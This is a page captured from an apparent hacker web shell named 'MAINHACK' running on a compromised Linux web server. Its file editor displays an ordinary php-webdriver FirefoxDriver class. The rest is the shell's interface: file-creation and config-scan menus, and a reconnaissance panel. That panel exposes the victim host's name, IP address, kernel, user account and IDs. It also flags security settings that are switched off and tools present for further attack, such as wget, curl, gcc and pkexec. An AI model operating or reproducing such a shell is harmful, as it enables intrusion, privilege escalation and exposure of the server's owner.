[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: FirefoxDriver.php
<?php namespace Facebook\WebDriver\Firefox; use Facebook\WebDriver\Local\LocalWebDriver; use Facebook\WebDriver\Remote\DesiredCapabilities; use Facebook\WebDriver\Remote\Service\DriverCommandExecutor; use Facebook\WebDriver\Remote\WebDriverCommand; class FirefoxDriver extends LocalWebDriver { /** * @deprecated Pass Firefox Profile using FirefoxOptions: * $firefoxOptions = new FirefoxOptions(); * $firefoxOptions->setProfile($profile->encode()); * $capabilities = DesiredCapabilities::firefox(); * $capabilities->setCapability(FirefoxOptions::CAPABILITY, $firefoxOptions); */ public const PROFILE = 'firefox_profile'; /** * Creates a new FirefoxDriver using default configuration. * This includes starting a new geckodriver process each time this method is called. However this may be * unnecessary overhead - instead, you can start the process once using FirefoxDriverService and pass * this instance to startUsingDriverService() method. * * @return static */ public static function start(DesiredCapabilities $capabilities = null) { $service = FirefoxDriverService::createDefaultService(); return static::startUsingDriverService($service, $capabilities); } /** * Creates a new FirefoxDriver using given FirefoxDriverService. * This is usable when you for example don't want to start new geckodriver process for each individual test * and want to reuse the already started geckodriver, which will lower the overhead associated with spinning up * a new process. * * @return static */ public static function startUsingDriverService( FirefoxDriverService $service, DesiredCapabilities $capabilities = null ) { if ($capabilities === null) { $capabilities = DesiredCapabilities::firefox(); } $executor = new DriverCommandExecutor($service); $newSessionCommand = WebDriverCommand::newSession( [ 'capabilities' => [ 'firstMatch' => [(object) $capabilities->toW3cCompatibleArray()], ], ] ); $response = $executor->execute($newSessionCommand); $returnedCapabilities = DesiredCapabilities::createFromW3cCapabilities($response->getValue()['capabilities']); $sessionId = $response->getSessionID(); return new static($executor, $sessionId, $returnedCapabilities, true); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002